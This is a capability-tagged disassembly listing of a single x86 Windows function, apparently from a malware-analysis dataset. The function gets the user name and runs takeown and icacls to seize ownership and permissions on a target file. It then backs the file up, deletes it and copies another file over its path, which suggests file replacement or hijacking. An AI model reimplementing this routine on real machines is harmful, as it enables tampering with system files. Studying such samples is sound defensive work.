Function at 0x40766c
Capabilities:
Copy file
Delete file
Get session user name
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push ebx
push esi
push edi
xor eax, eax
push 0x1f
xor ebx, ebx
pop ecx
mov byte [ebp - 0x2c8], bl
lea edi, [ebp - 0x2c7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x7f
pop edx
xor eax, eax
mov byte [ebp - 0x248], bl
mov ecx, edx
lea edi, [ebp - 0x247]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xf
xor eax, eax
cmp dword [0x456340], 0x3c
mov byte [ebp - 0x48], bl
pop ecx
lea edi, [ebp - 0x47]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 1], bl
mov dword [ebp - 8], edx
jb 0x407762
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x40790b
mov esi, dword [ebp + 8]
push esi
call fcn.00412cc1
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x248]
push str._f__s
push eax
call edi
add esp, 0x10
push ebx
push ebx
lea eax, [ebp - 0x248]
push eax
push str.takeown
push ebx
push ebx
call dword [0x455ba0]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c8]
push eax
push esi
lea eax, [ebp - 0x248]
push str._s__grant__s:D
push eax
call edi
add esp, 0x10
push ebx
push ebx
lea eax, [ebp - 0x248]
push eax
push str.icacls
push ebx
push ebx
call dword [0x455ba0]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407765
mov esi, dword [ebp + 8]
push esi
call fcn.004127cf
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov ecx, eax
sub ecx, esi
jmp 0x407782
cmp byte [eax], 0x5c
je 0x407790
dec eax
dec ecx
cmp ecx, 1
jg 0x40777b
cmp byte [eax], 0x5c
jne 0x40790b
lea edi, [eax + 1]
cmp byte [edi], bl
je 0x40790b
push edi
call fcn.00412f38
push edi
call fcn.00412f38
push edi
call fcn.00412f38
push 0x200
lea eax, [ebp - 0x248]
push ebx
push eax
call fcn.004200c0
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x248]
push eax
mov dword [ebp - 8], 0x7f
mov byte [ebp - 0x248], bl
call dword [0x455ae4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
lea eax, [ebp - 0x248]
push eax
call esi
lea eax, [ebp - 0x248]
push eax
movzx eax, byte [ebp - 0x248]
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x48]
add edx, 6
push edx
push eax
call fcn.00411f03
push 0x200
lea eax, [ebp - 0x248]
push ebx
push eax
call fcn.004200c0
mov eax, edi
sub eax, dword [ebp + 8]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x248]
push eax
call fcn.00420290
add esp, 0x24
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x248]
push eax
call esi
lea eax, [ebp - 0x248]
push eax
call fcn.004123ce
test eax, eax
pop ecx
je 0x40785f
mov byte [ebp - 1], 1
jmp 0x40786c
lea eax, [ebp - 0x248]
push eax
call fcn.00412677
pop ecx
push 0x4283c8
lea eax, [ebp - 0x248]
push eax
call esi
push edi
lea eax, [ebp - 0x248]
push eax
call esi
cmp byte [ebp - 1], bl
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jne 0x4078b1
push 1
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x80
lea eax, [ebp - 0x248]
push eax
call esi
jmp 0x4078be
push dword [ebp + 8]
call fcn.00401c7a
test al, al
pop ecx
jne 0x407907
push edi
call fcn.00412f38
mov dword [esp], 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp + 8]
push 0x80
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x407907
push ebx
push edi
push 0x456228
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x407907
lea eax, [ebp - 0x248]
push edi
push eax
call fcn.00408549
pop ecx
pop ecx
mov al, 1
jmp 0x40790d
xor al, al
pop edi
pop esi
pop ebx
leave
ret